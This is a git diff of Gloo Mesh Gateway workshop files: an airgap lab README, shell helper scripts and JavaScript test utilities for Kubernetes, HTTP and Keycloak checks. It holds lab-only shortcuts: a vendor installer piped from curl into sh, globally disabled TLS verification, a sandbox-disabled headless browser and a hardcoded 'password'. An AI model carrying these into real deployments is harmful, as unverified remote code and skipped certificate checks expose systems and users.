"$new_ip $hostname" | sudo tee -a "$hosts_file" > /dev/null + echo "Added $hostname to $hosts_file with IP: $new_ip" +fi diff --git a/gloo-mesh/gateway/2-4/airgap/standalone/scripts/snapdiff.sh b/gloo-mesh/gateway/2-4/airgap/standalone/scripts/snapdiff.sh new file mode 100755 index 0000000000..51786826eb --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone/scripts/snapdiff.sh @@ -0,0 +1,6 @@ +mv /tmp/current-output /tmp/previous-output 2>/dev/null +pod=$(kubectl --context ${MGMT} -n gloo-mesh get pods -l app=gloo-mesh-mgmt-server -o jsonpath='{.items[0].metadata.name}') +kubectl --context ${MGMT} -n gloo-mesh debug -q -i ${pod} --image=curlimages/curl -- curl -s http://localhost:9091/snapshots/output | jq '.translator | . as $root | ($root | keys[]) as $namespace | ($root[$namespace] | keys[]) as $parent | if $root[$namespace][$parent].Outputs then (($root[$namespace][$parent].Outputs | keys[]) as $object | ($object | split(",")) as $arr | {apiVersion: $arr[0], kind: ($arr[1] |split("=")[1])} + $root[$namespace][$parent].Outputs[$object][]) else empty end' | jq --slurp > /tmp/current-output +array1=$(cat /tmp/previous-output | jq -e '') +array2=$(cat /tmp/current-output | jq -e '') +jq -n --argjson array1 "$array1" --argjson array2 "$array2" '{"array1": $array1,"array2":$array2} | .array2-.array1' | docker run -i --rm mikefarah/yq -P '.' \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/standalone/tests/can-resolve.test.js.liquid b/gloo-mesh/gateway/2-4/airgap/standalone/tests/can-resolve.test.js.liquid new file mode 100644 index 0000000000..7d1163da97 --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone/tests/can-resolve.test.js.liquid @@ -0,0 +1,17 @@ +const dns = require('dns'); +const chaiHttp = require("chai-http"); +const chai = require("chai"); +const expect = chai.expect; +chai.use(chaiHttp); +const { waitOnFailedTest } = require('./tests/utils'); + +afterEach(function(done) { waitOnFailedTest(done, this.currentTest.currentRetry())}); + +describe("Address '" + process.env.{{ to_resolve }} + "' can be resolved in DNS", () => { + it(process.env.{{ to_resolve }} + ' can be resolved', (done) => { + return dns.lookup(process.env.{{ to_resolve }}, (err, address, family) => { + expect(address).to.be.an.ip; + done(); + }); + }); +}); \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/standalone/tests/chai-exec.js b/gloo-mesh/gateway/2-4/airgap/standalone/tests/chai-exec.js new file mode 100644 index 0000000000..f454d80bbe --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone/tests/chai-exec.js @@ -0,0 +1,110 @@ +const jsYaml = require('js-yaml'); +const deepObjectDiff = require('deep-object-diff'); +const chaiExec = require("@jsdevtools/chai-exec"); +const chai = require("chai"); +const expect = chai.expect; +const should = chai.should(); +chai.use(chaiExec); +const utils = require('./utils'); + +global = { + checkKubernetesObject: async ({ context, namespace, kind, k8sObj, yaml }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get " + kind + " " + k8sObj + " -o json"; + let cli = chaiExec(command); + let json = jsYaml.load(yaml) + + cli.should.exit.with.code(0); + cli.stderr.should.be.empty; + let data = JSON.parse(cli.stdout); + let diff = deepObjectDiff.detailedDiff(json, data); + let expectedObject = false; + console.log(Object.keys(diff.deleted).length); + if(Object.keys(diff.updated).length === 0 && Object.keys(diff.deleted).length === 0) { + expectedObject = true; + } + expect(expectedObject, "The following object can't be found or is not as expected:\n" + yaml).to.be.true; + }, + checkDeployment: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get deploy " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).readyReplicas || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + checkDeploymentsWithLabels: async ({ context, namespace, labels, instances }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get deploy -l " + labels + " -o jsonpath='{.items}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let deployments = JSON.parse(cli.stdout.slice(1,-1)); + expect(deployments).to.have.lengthOf(instances); + deployments.forEach((deployment) => { + let readyReplicas = deployment.status.readyReplicas || 0; + let replicas = deployment.status.replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + deployment.metadata.name + " in " + context + " not ready..."); + utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }); + }, + checkStatefulSet: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get sts " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).readyReplicas || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + checkDaemonSet: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get ds " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).numberReady || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).desiredNumberScheduled; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + k8sObjectIsPresent: ({ context, namespace, k8sType, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get " + k8sType + " " + k8sObj + " -o name"; + let cli = chaiExec(command); + + cli.stderr.should.be.empty; + cli.should.exit.with.code(0); + }, + genericCommand: async ({ command, responseContains="" }) => { + let cli = chaiExec(command); + if (cli.stderr && cli.stderr != "") { + console.log(" ----> " + command + " not succesful..."); + await utils.sleep(1000); + } + cli.stderr.should.be.empty; + cli.should.exit.with.code(0); + if(responseContains!=""){ + cli.stdout.should.contain(responseContains); + } + }, + getOutputForCommand: ({ command }) => { + let cli = chaiExec(command); + return cli.stdout; + }, +}; + +module.exports = global; + +afterEach(function(done) { utils.waitOnFailedTest(done, this.currentTest.currentRetry())}); diff --git a/gloo-mesh/gateway/2-4/airgap/standalone/tests/chai-http.js b/gloo-mesh/gateway/2-4/airgap/standalone/tests/chai-http.js new file mode 100644 index 0000000000..d0b8a42277 --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone/tests/chai-http.js @@ -0,0 +1,63 @@ +const chaiHttp = require("chai-http"); +const chai = require("chai"); +const expect = chai.expect; +chai.use(chaiHttp); +const utils = require('./utils'); + +process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0'; + +global = { + checkURL: ({ host, path = "", headers = [], retCode }) => { + let request = chai.request(host).head(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expect(res).to.have.status(retCode); + }); + }, + checkBody: ({ host, path = "", headers = [], body = '', match = true }) => { + let request = chai.request(host).get(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + if (match) { + expect(res.text).to.contain(body); + } else { + expect(res.text).not.to.contain(body); + } + }); + }, + checkHeaders: ({ host, path = "", headers = [], expectedHeaders = [] }) => { + let request = chai.request(host).get(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expectedHeaders.forEach(header => expect(res.header[header.key]).to.equal(header.value)); + }); + }, + checkWithMethod: ({ host, path, headers = [], method = "get", retCode }) => { + let request + if (method === "get") { + request = chai.request(host).get(path).redirects(0); + } else if (method === "post") { + request = chai.request(host).post(path).redirects(0); + } else if (method === "put") { + request = chai.request(host).put(path).redirects(0); + } else { + throw 'The requested method is not implemented.' + } + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expect(res).to.have.status(retCode); + }); + } +}; + +module.exports = global; + +afterEach(function(done) { utils.waitOnFailedTest(done, this.currentTest.currentRetry())}); \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/standalone/tests/keycloak-token.js b/gloo-mesh/gateway/2-4/airgap/standalone/tests/keycloak-token.js new file mode 100644 index 0000000000..3ac1a691db --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone/tests/keycloak-token.js @@ -0,0 +1,4 @@ +const keycloak = require('./keycloak'); +const { argv } = require('node:process'); + +keycloak.getKeyCloakCookie(argv[2], argv[3]); diff --git a/gloo-mesh/gateway/2-4/airgap/standalone/tests/keycloak.js b/gloo-mesh/gateway/2-4/airgap/standalone/tests/keycloak.js new file mode 100644 index 0000000000..aae79f0fdc --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone/tests/keycloak.js @@ -0,0 +1,41 @@ +const puppeteer = require('puppeteer'); +//const utils = require('./utils'); + +global = { + getKeyCloakCookie: async (url, user) => { + const browser = await puppeteer.launch({ + headless: "new", + ignoreHTTPSErrors: true, + args: ['--no-sandbox', '--disable-setuid-sandbox'], // needed for instruqt + }); + const page = await browser.newPage(); + await page.goto(url); + await page.waitForNetworkIdle({ options: { timeout: 1000 } }); + //await utils.sleep(1000); + + // Enter credentials + //await page.waitForSelector('#username'); + //await page.waitForSelector('#password'); + await page.type('#username', user); + await page.type('#password', 'password'); + await page.click('#kc-login'); + await page.waitForNetworkIdle({ options: { timeout: 1000 } }); + //await utils.sleep(1000); + + // Retrieve session cookie + const cookies = await page.cookies(); + const sessionCookie = cookies.find(cookie => cookie.name === 'keycloak-session'); + let ret; + if (sessionCookie) { + ret = `${sessionCookie.name}=${sessionCookie.value}`; // Construct the cookie string + } else { + console.error(` No session cookie found for ${user}`); + ret = "keycloak-session=dummy"; + } + await browser.close(); + console.log(ret); + return ret; + } +}; + +module.exports = global; diff --git a/gloo-mesh/gateway/2-4/airgap/standalone/tests/utils.js b/gloo-mesh/gateway/2-4/airgap/standalone/tests/utils.js new file mode 100644 index 0000000000..9747efaa2c --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone/tests/utils.js @@ -0,0 +1,13 @@ +global = { + sleep: ms => new Promise(resolve => setTimeout(resolve, ms)), + waitOnFailedTest: (done, currentRetry) => { + if(currentRetry > 0){ + process.stdout.write("."); + setTimeout(done, 1000); + } else { + done(); + } + } +}; + +module.exports = global; \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/default/README.md b/gloo-mesh/gateway/2-4/default/README.md index 177c4cfca8..405faa1570 100644 --- a/gloo-mesh/gateway/2-4/default/README.md +++ b/gloo-mesh/gateway/2-4/default/README.md @@ -1124,7 +1124,8 @@ Let's add the domains to our `/etc/hosts` file: You can access the `productpage` service using this URL: [http://cluster1-bookinfo.example.com/productpage](http://cluster1-bookinfo.example.com/productpage). -You should now be able to access the `productpage` application through the browser. + + + +![Gloo Mesh Enterprise](images/gloo-mesh-enterprise.png) +#
Gloo Mesh Gateway Advanced (2.5.0)
+ + + +## Table of Contents +* [Introduction](#introduction) +* [Lab 1 - Deploy a KinD cluster](#lab-1---deploy-a-kind-cluster-) +* [Lab 2 - Prepare airgap environment](#lab-2---prepare-airgap-environment-) +* [Lab 3 - Deploy and register Gloo Mesh](#lab-3---deploy-and-register-gloo-mesh-) +* [Lab 4 - Deploy Istio using Gloo Mesh Lifecycle Manager](#lab-4---deploy-istio-using-gloo-mesh-lifecycle-manager-) +* [Lab 5 - Deploy the Bookinfo demo app](#lab-5---deploy-the-bookinfo-demo-app-) +* [Lab 6 - Deploy the httpbin demo app](#lab-6---deploy-the-httpbin-demo-app-) +* [Lab 7 - Deploy Gloo Mesh Addons](#lab-7---deploy-gloo-mesh-addons-) +* [Lab 8 - Create the gateways workspace](#lab-8---create-the-gateways-workspace-) +* [Lab 9 - Create the bookinfo workspace](#lab-9---create-the-bookinfo-workspace-) +* [Lab 10 - Create the httpbin workspace](#lab-10---create-the-httpbin-workspace-) +* [Lab 11 - Expose the productpage through a gateway](#lab-11---expose-the-productpage-through-a-gateway-) +* [Lab 12 - Authorising with OPA](#lab-12---authorising-with-opa-) +* [Lab 13 - Apply dynamic rate limiting to the Gateway](#lab-13---apply-dynamic-rate-limiting-to-the-gateway-) +* [Lab 14 - Expose the bookinfo application through GraphQL](#lab-14---expose-the-bookinfo-application-through-graphql-) +* [Lab 15 - Leverage GraphQL stitching](#lab-15---leverage-graphql-stitching-) +* [Lab 16 - Apply rate limiting and authorization based on GraphQL queries/mutations](#lab-16---apply-rate-limiting-and-authorization-based-on-graphql-queries/mutations-) +* [Lab 17 - Deploy the Amazon pod identity webhook](#lab-17---deploy-the-amazon-pod-identity-webhook-) +* [Lab 18 - Execute Lambda functions](#lab-18---execute-lambda-functions-) + + + +## Introduction + +[Gloo Mesh Enterprise](https://www.solo.io/products/gloo-mesh/) is a management plane which makes it easy to operate [Istio](https://istio.io) on one or many Kubernetes clusters deployed anywhere (any platform, anywhere). + +### Istio support + +The Gloo Mesh Enterprise subscription includes end to end Istio support: + +- Upstream first +- Specialty builds available (FIPS, ARM, etc) +- Long Term Support (LTS) N-4 +- Critical security patches +- Production break-fix +- One hour SLA Severity 1 +- Install / upgrade +- Architecture and operational guidance, best practices + +### Gloo Mesh overview + +Gloo Mesh provides many unique features, including: + +- multi-tenancy based on global workspaces +- zero trust enforcement +- global observability (centralized metrics and access logging) +- simplified cross cluster communications (using virtual destinations) +- advanced gateway capabilities (oauth, jwt, transformations, rate limiting, web application firewall, ...) + +![Gloo Mesh graph](images/gloo-mesh-graph.png) + +### Want to learn more about Gloo Mesh + +You can find more information about Gloo Mesh in the official documentation: + +[https://docs.solo.io/gloo-mesh/latest/](https://docs.solo.io/gloo-mesh/latest/) + + + + +## Lab 1 - Deploy a KinD cluster + + +Clone this repository and go to the directory where this `README.md` file is. + +Set the context environment variables: + +```bash +export MGMT=cluster1 +export CLUSTER1=cluster1 +``` + +Run the following commands to deploy a Kubernetes cluster using [Kind](https://kind.sigs.k8s.io/): + +```bash +./scripts/deploy-aws.sh 1 cluster1 us-west us-west-1 +``` + +Then run the following commands to wait for all the Pods to be ready: + +```bash +./scripts/check.sh cluster1 +``` + +**Note:** If you run the `check.sh` script immediately after the `deploy.sh` script, you may see a jsonpath error. If that happens, simply wait a few seconds and try again. + +Once the `check.sh` script completes, when you execute the `kubectl get pods -A` command, you should see the following: + +``` +NAMESPACE NAME READY STATUS RESTARTS AGE +kube-system calico-kube-controllers-59d85c5c84-sbk4k 1/1 Running 0 4h26m +kube-system calico-node-przxs 1/1 Running 0 4h26m +kube-system coredns-6955765f44-ln8f5 1/1 Running 0 4h26m +kube-system coredns-6955765f44-s7xxx 1/1 Running 0 4h26m +kube-system etcd-cluster1-control-plane 1/1 Running 0 4h27m +kube-system kube-apiserver-cluster1-control-plane 1/1 Running 0 4h27m +kube-system kube-controller-manager-cluster1-control-plane1/1 Running 0 4h27m +kube-system kube-proxy-ksvzw 1/1 Running 0 4h26m +kube-system kube-scheduler-cluster1-control-plane 1/1 Running 0 4h27m +local-path-storage local-path-provisioner-58f6947c7-lfmdx 1/1 Running 0 4h26m +metallb-system controller-5c9894b5cd-cn9x2 1/1 Running 0 4h26m +metallb-system speaker-d7jkp 1/1 Running 0 4h26m +``` + + + + +## Lab 2 - Prepare airgap environment + +Set the registry variable: +```bash +export registry=localhost:5000 +``` + +Pull and push locally the Docker images needed: + +```bash +cat <<'EOF' > images.txt +docker.io/curlimages/curl +amazon/amazon-eks-pod-identity-webhook:v0.5.0 +docker.io/kennethreitz/httpbin +docker.io/nginx:1.25.3 +docker.io/openpolicyagent/opa:0.57.1-debug +docker.io/redis:7.0.14-alpine +gcr.io/field-engineering-eu/graphql-passthrough-grpc-service:0.1 +gcr.io/gloo-mesh/ext-auth-service:0.55.3 +gcr.io/gloo-mesh/gloo-mesh-agent:2.5.0 +gcr.io/gloo-mesh/gloo-mesh-apiserver:2.5.0 +gcr.io/gloo-mesh/gloo-mesh-envoy:2.5.0 +gcr.io/gloo-mesh/gloo-mesh-mgmt-server:2.5.0 +gcr.io/gloo-mesh/gloo-mesh-ui:2.5.0 +gcr.io/gloo-mesh/gloo-otel-collector:2.5.0 +gcr.io/gloo-mesh/rate-limiter:0.11.7 +jimmidyson/configmap-reload:v0.8.0 +quay.io/jetstack/cert-manager-cainjector:v1.12.4 +quay.io/jetstack/cert-manager-controller:v1.12.4 +quay.io/jetstack/cert-manager-webhook:v1.12.4 +quay.io/keycloak/keycloak:22.0.5 +quay.io/prometheus/prometheus:v2.41.0 +us-docker.pkg.dev/gloo-mesh/istio-workshops/operator:1.19.3-solo +us-docker.pkg.dev/gloo-mesh/istio-workshops/pilot:1.19.3-solo +us-docker.pkg.dev/gloo-mesh/istio-workshops/proxyv2:1.19.3-solo +EOF + +for url in https://raw.githubusercontent.com/istio/istio/master/samples/bookinfo/platform/kube/bookinfo.yaml https://raw.githubusercontent.com/istio/istio/master/samples/bookinfo/networking/bookinfo-gateway.yaml +do + for image in $(curl -sfL ${url}|grep image:|awk '{print $2}') + do + echo $image >> images.txt + done +done + +cat images.txt | while read image; do + nohup sh -c "echo $image | xargs -P10 -n1 docker pull" nohup.out 2>nohup.err & +done + +cat images.txt | while read image; do + src=$(echo $image | sed 's/^docker\.io\///g' | sed 's/^library\///g') + dst=$(echo $image | awk -F/ '{ if(NF>3){ print $3"/"$4}else{if(NF>2){ print $2"/"$3}else{if($1=="docker.io"){print $2}else{print $1"/"$2}}}}' | sed 's/^library\///g') + docker pull $image + + id=$(docker images $src --format "{{.ID}}") + + docker tag $id ${registry}/$dst + docker push ${registry}/$dst + dst_dev=$(echo ${dst} | sed 's/gloo-platform-dev/gloo-mesh/') + docker tag $id ${registry}/$dst_dev + docker push ${registry}/$dst_dev +done +``` + + + +## Lab 3 - Deploy and register Gloo Mesh +[VIDEO LINK](https://youtu.be/djfFiepK4GY "Video Link") + + +Before we get started, let's install the `meshctl` CLI: + +```bash +export GLOO_MESH_VERSION=v2.5.0 +curl -sL https://run.solo.io/meshctl/install | sh - +export PATH=$HOME/.gloo-mesh/bin:$PATH +``` + +Run the following commands to deploy the Gloo Mesh management plane: + +```bash +kubectl --context ${MGMT} create ns gloo-mesh + +helm upgrade --install gloo-platform-crds gloo-platform-crds \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${MGMT} \ + --version 2.5.0 + +helm upgrade --install gloo-platform-mgmt gloo-platform \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${MGMT} \ + --version 2.5.0 \ + -f -< + + + + + +## Lab 4 - Deploy Istio using Gloo Mesh Lifecycle Manager +[VIDEO LINK](https://youtu.be/f76-KOEjqHs "Video Link") + +We are going to deploy Istio using Gloo Mesh Lifecycle Manager. + +Let's create Kubernetes services for the gateways: + +```bash +registry=localhost:5000 +kubectl --context ${CLUSTER1} create ns istio-gateways +kubectl --context ${CLUSTER1} label namespace istio-gateways istio.io/rev=1-19 --overwrite + +kubectl apply --context ${CLUSTER1} -f - < + + + + +```bash +export HOST_GW_CLUSTER1="$(kubectl --context ${CLUSTER1} -n istio-gateways get svc -l istio=ingressgateway -o jsonpath='{.items[0].status.loadBalancer.ingress[0].*}')" +``` + + + + + +## Lab 5 - Deploy the Bookinfo demo app +[VIDEO LINK](https://youtu.be/nzYcrjalY5A "Video Link") + +We're going to deploy the bookinfo application to demonstrate several features of Gloo Mesh. + +You can find more information about this application [here](https://istio.io/latest/docs/examples/bookinfo/). +Update the registry in our bookinfo manifests: + +```bash +sed -i'' -e "s/image: docker.io/image: ${registry}/g" \ + data/steps/deploy-bookinfo/productpage-v1.yaml \ + data/steps/deploy-bookinfo/details-v1.yaml \ + data/steps/deploy-bookinfo/ratings-v1.yaml \ + data/steps/deploy-bookinfo/reviews-v1-v2.yaml \ + data/steps/deploy-bookinfo/reviews-v3.yaml +``` + +Run the following commands to deploy the bookinfo application on `cluster1`: + +```bash +kubectl --context ${CLUSTER1} create ns bookinfo-frontends +kubectl --context ${CLUSTER1} create ns bookinfo-backends +kubectl --context ${CLUSTER1} label namespace bookinfo-frontends istio.io/rev=1-19 --overwrite +kubectl --context ${CLUSTER1} label namespace bookinfo-backends istio.io/rev=1-19 --overwrite + +# Deploy the frontend bookinfo service in the bookinfo-frontends namespace +kubectl --context ${CLUSTER1} -n bookinfo-frontends apply -f data/steps/deploy-bookinfo/productpage-v1.yaml + +# Deploy the backend bookinfo services in the bookinfo-backends namespace for all versions less than v3 +kubectl --context ${CLUSTER1} -n bookinfo-backends apply \ + -f data/steps/deploy-bookinfo/details-v1.yaml \ + -f data/steps/deploy-bookinfo/ratings-v1.yaml \ + -f data/steps/deploy-bookinfo/reviews-v1-v2.yaml + +# Update the reviews service to display where it is coming from +kubectl --context ${CLUSTER1} -n bookinfo-backends set env deploy/reviews-v1 CLUSTER_NAME=${CLUSTER1} +kubectl --context ${CLUSTER1} -n bookinfo-backends set env deploy/reviews-v2 CLUSTER_NAME=${CLUSTER1} +``` + + + +You can check that the app is running using the following command: + +``` +kubectl --context ${CLUSTER1} -n bookinfo-frontends get pods && kubectl --context ${CLUSTER1} -n bookinfo-backends get pods +``` + +Note that we deployed the `productpage` service in the `bookinfo-frontends` namespace and the other services in the `bookinfo-backends` namespace. + +And we deployed the `v1` and `v2` versions of the `reviews` microservice, not the `v3` version. + + + + + +## Lab 6 - Deploy the httpbin demo app +[VIDEO LINK](https://youtu.be/w1xB-o_gHs0 "Video Link") + +We're going to deploy the httpbin application to demonstrate several features of Gloo Mesh. + +You can find more information about this application [here](http://httpbin.org/). + +Run the following commands to deploy the httpbin app on `cluster1`. The deployment will be called `not-in-mesh` and won't have the sidecar injected (because we don't label the namespace). + +```bash +kubectl --context ${CLUSTER1} create ns httpbin +kubectl apply --context ${CLUSTER1} -f - </dev/null +do + sleep 1 + echo -n . +done" +echo +--> + +You can follow the progress using the following command: + +```bash +kubectl --context ${CLUSTER1} -n httpbin get pods +``` + +```,nocopy +NAME READY STATUS RESTARTS AGE +in-mesh-5d9d9549b5-qrdgd 2/2 Running 0 11s +not-in-mesh-5c64bb49cd-m9kwm 1/1 Running 0 11s +``` + + + + +## Lab 7 - Deploy Gloo Mesh Addons +[VIDEO LINK](https://youtu.be/_rorug_2bk8 "Video Link") + +To use the Gloo Mesh Gateway advanced features (external authentication, rate limiting, ...), you need to install the Gloo Mesh addons. + +First, you need to create a namespace for the addons, with Istio injection enabled: + +```bash +kubectl --context ${CLUSTER1} create namespace gloo-mesh-addons +kubectl --context ${CLUSTER1} label namespace gloo-mesh-addons istio.io/rev=1-19 --overwrite +``` + +Then, you can deploy the addons on the cluster(s) using Helm: + +```bash +helm upgrade --install gloo-platform gloo-platform \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh-addons \ + --kube-context ${CLUSTER1} \ + --version 2.5.0 \ + -f -< ./test.js +const helpers = require('./tests/chai-exec'); + +describe("Gloo Platform add-ons cluster1 deployment", () => { + let cluster = process.env.CLUSTER1 + let deployments = ["ext-auth-service", "rate-limiter"]; + deployments.forEach(deploy => { + it(deploy + ' pods are ready in ' + cluster, () => helpers.checkDeployment({ context: cluster, namespace: "gloo-mesh-addons", k8sObj: deploy })); + }); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/deploy-gloo-mesh-addons/tests/check-addons-deployments.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +This is what the environment looks like now: + +![Gloo Platform Workshop Environment](images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg) + + + +## Lab 8 - Create the gateways workspace +[VIDEO LINK](https://youtu.be/QeVBH0eswWw "Video Link") + +We're going to create a workspace for the team in charge of the Gateways. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `gateways` workspace which corresponds to the `istio-gateways` and the `gloo-mesh-addons` namespaces on the cluster(s): + +```bash +kubectl apply --context ${MGMT} -f - < + +We're going to create a workspace for the team in charge of the Bookinfo application. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `bookinfo` workspace which corresponds to the `bookinfo-frontends` and `bookinfo-backends` namespaces on the cluster(s): + +```bash +kubectl apply --context ${MGMT} -f - < + +We're going to create a workspace for the team in charge of the httpbin application. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `httpbin` workspace which corresponds to the `httpbin` namespace on `cluster1`: + +```bash +kubectl apply --context ${MGMT} -f - < +[VIDEO LINK](https://youtu.be/emyIu99AOOA "Video Link") + +In this step, we're going to expose the `productpage` service through the Ingress Gateway using Gloo Mesh. + +The Gateway team must create a `VirtualGateway` to configure the Istio Ingress Gateway in cluster1 to listen to incoming requests. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpers = require('./tests/chai-http'); + +describe("Productpage is available (HTTP)", () => { + it('/productpage is available in cluster1', () => helpers.checkURL({ host: `http://cluster1-bookinfo.example.com`, path: '/productpage', retCode: 200 })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/gateway-expose/tests/productpage-available.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Gloo Mesh translates the `VirtualGateway` and `RouteTable` into the corresponding Istio objects (`Gateway` and `VirtualService`). + +Now, let's secure the access through TLS. +Let's first create a private key and a self-signed certificate: + +```bash +openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ + -keyout tls.key -out tls.crt -subj "/CN=*" +``` + +Then, you have to store them in a Kubernetes secret running the following commands: + +```bash +kubectl --context ${CLUSTER1} -n istio-gateways create secret generic tls-secret \ + --from-file=tls.key=tls.key \ + --from-file=tls.crt=tls.crt +``` + +Finally, the Gateway team needs to update the `VirtualGateway` to use this secret: + +```bash +kubectl apply --context ${CLUSTER1} -f - <. + +Notice that we specificed a minimumProtocolVersion, so if the client is trying to use an deprecated TLS version the request will be denied. + +To test this, we can try to send a request with `tlsv1.2`: + +```console +curl --tlsv1.2 --tls-max 1.2 --key tls.key --cert tls.crt https://cluster1-bookinfo.example.com/productpage -k +``` + +You should get the following output: + +```nocopy +curl: (35) error:1409442E:SSL routines:ssl3_read_bytes:tlsv1 alert protocol version +``` + +Now, you can try the most recent `tlsv1.3`: + +```console +curl --tlsv1.3 --tls-max 1.3 --key tls.key --cert tls.crt https://cluster1-bookinfo.example.com/productpage -k +``` + +And after this you should get the actual Productpage. + + + +This diagram shows the flow of the request (through the Istio Ingress Gateway): + +![Gloo Mesh Gateway](images/steps/gateway-expose/gloo-mesh-gateway.svg) + + + + +## Lab 12 - Authorising with OPA +[VIDEO LINK](https://youtu.be/fKZjr0AYxYs "Video Link") + +In this lab, we're going to enable Authorization to the `httpbin` service using OPA. + +One of the options is to use rego rules directly within the system. This is the `configMap` mode. + +In this mode, `ExtAuth Service` will be able to load configMaps containing rego rules that will be used to perform the authorization mechanism. + +This option is better suited for a single cluster environment or a small environment where maintaining rego rules in configMaps is not a problem. + +The architecture looks like this: +![OPA as sidecar](images/steps/gateway-extauth-opa/opa-as-configmap.png) + +Deploy the rego rule within a configMap: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const chaiExec = require("@jsdevtools/chai-exec"); +const helpersHttp = require('./tests/chai-http'); +var chai = require('chai'); +var expect = chai.expect; + +describe("Authorization with OPA is working properly", function() { + it("The response code 403 is returned when the request is rejected", () => helpersHttp.checkURL({ host: 'https://cluster1-httpbin.example.com/get', retCode: 403 })); + it("The response header is added when the request is rejected", () => helpersHttp.checkHeaders({ host: 'https://cluster1-httpbin.example.com/get', expectedHeaders: [{key: 'x-header-added-on-failure', value: 'failure'}] })); + it("The body 'This text is returned when the request is rejected' is returned when the request is rejected", () => helpersHttp.checkBody({ host: 'https://cluster1-httpbin.example.com/get', body: "This text is returned when the request is rejected", match: true })); + it("The response code 200 is returned when the request is accepted", () => helpersHttp.checkURL({ host: 'https://cluster1-httpbin.example.com/get', headers: [{key: 'api-key', value: '123'}], retCode: 200 })); + it("The request header is added when the request is accepted", () => helpersHttp.checkBody({ host: 'https://cluster1-httpbin.example.com/get', headers: [{key: 'api-key', value: '123'}], body: '"X-Validated-By": "security-checkpoint"', match: true })); + it("The request header is removed when the request is accepted", () => helpersHttp.checkBody({ host: 'https://cluster1-httpbin.example.com/get', headers: [{key: 'api-key', value: '123'}], body: 'Api-Key', match: false })); + it("The response header is added when the request is accepted", () => helpersHttp.checkHeaders({ host: 'https://cluster1-httpbin.example.com/get', headers: [{key: 'api-key', value: '123'}], expectedHeaders: [{key: 'x-client-only', value: 'visible'}] })); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-extauth-opa/tests/authorization.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + +## Lab 13 - Apply dynamic rate limiting to the Gateway + + +In this step, we're going to apply rate limiting to the 